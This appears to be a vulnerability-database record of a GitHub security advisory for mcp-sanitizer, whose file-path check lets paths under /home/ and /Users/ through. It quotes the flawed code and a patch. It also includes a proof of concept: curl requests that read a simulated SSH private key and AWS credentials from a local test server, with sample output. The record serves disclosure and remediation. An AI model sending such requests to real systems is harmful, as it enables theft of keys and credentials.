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Response snapshot Oct 29, 2026, 01:26 UTC

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VulnerabilityGHSA-7w82-6f9j-v9jp

mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: mcp-sanitizer: 1.4.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-7w82-6f9j-v9jp (opens a new tab)

What happened

Summary

mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root.

Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., fs.readFile) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.

Details

Continue reading

The vulnerability resides in the validateFilePath function inside src/utils/validation-utils.js. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:

// src/utils/validation-utils.js:188-196
if (!isInSafeLocation && path.isAbsolute(normalizedPath)) {
 const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
 const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>
 normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())
 );

 if (!isAllowedAbsolute) {
 throw new Error('Absolute path not in allowed safe directory');
 }
}

Because /home/ and /Users/ are included in allowedAbsolutePaths, any path beneath those directories — including ~/.ssh/id_rsa, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, etc. — is considered safe and passes validation unchanged.

The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.

The full data flow from a network request to the vulnerable return value is:

1. src/middleware/express.js:538-541 — The Express middleware routes file_reader/file_writer tool parameters to sanitizer.sanitize(params.file_path, { type: 'file_path' }). 2. src/sanitizer/mcp-sanitizer.js:523-524 — When context.type === 'file_path', _secureSanitizeFilePath() is called. 3. src/sanitizer/mcp-sanitizer.

js:683-687 — validateFilePath() is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. src/utils/validation-utils.js:188-196 — The /home/ prefix check passes without error. 5. src/utils/validation-utils.js:200-201 — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.

A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/id_rsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.

Suggested patch:

--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
 const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+ const sensitiveHomeFragments = [
+ '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+ '/.npmrc', '/.env'
+ ];
@@
+ const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+ if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+ throw new Error('Access to sensitive user configuration path not allowed');
+ }
@@
- const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+ const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];

PoC

Environment requirements: Docker, Python 3, Node.js 20

Step 1 — Build and start the reproduction container:

# From the vuln-002/ directory
python3 poc.py

The script automatically: 1. Copies the mcp-sanitizer source into a Docker build context. 2. Creates simulated victim files at /home/victim/.ssh/id_rsa and /home/victim/.aws/credentials inside the container. 3. Builds a consumer HTTP server (server.js) that calls sanitizer.sanitize() and then fs.readFile on the returned path. 4. Sends the three test requests described below.

Step 2 — Manual HTTP requests (after the container is running on port 13572):

Control test — must be blocked:

curl -s -X POST http://127.0.0.1:13572/tool \
 -H 'Content-Type: application/json' \
 -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# Expected: {"blocked": true}

Exploit test 1 — SSH private key exfiltration:

curl -s -X POST http://127.0.0.1:13572/tool \
 -H 'Content-Type: application/json' \
 -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}

Exploit test 2 — AWS credentials exfiltration:

curl -s -X POST http://127.0.0.1:13572/tool \
 -H 'Content-Type: application/json' \
 -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}

Observed results (Phase 2 dynamic reproduction):

[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}
 => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)

[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
 => blocked=false, EXPLOIT_SUCCESS=true
 sanitized_path: /home/victim/.ssh/id_rsa
 file_content:
 -----BEGIN RSA PRIVATE KEY-----
 MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
 SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
 -----END RSA PRIVATE KEY-----

[Test 3 — Exploit] POST /tool {file_path: '/home

Affected package ranges reported by GitHub:
mcp-sanitizer: < 1.4.0

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-7w82-6f9j-v9jp (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7w82-6f9j-v9jp, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths. https://kevwire.com/record/GHSA-7w82-6f9j-v9jp

MLA

"mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths." KEVWire, 28 Oct. 2026, kevwire.com/record/GHSA-7w82-6f9j-v9jp.

Chicago

KEVWire. "mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths." Last modified October 28, 2026. https://kevwire.com/record/GHSA-7w82-6f9j-v9jp.

Evidence summary (plain text)

mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths (Oct 28, 2026).
mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root.
Sources:
GitHub-reviewed advisory GHSA-7w82-6f9j-v9jp: https://github.com/advisories/GHSA-7w82-6f9j-v9jp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-7w82-6f9j-v9jp.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 00:55 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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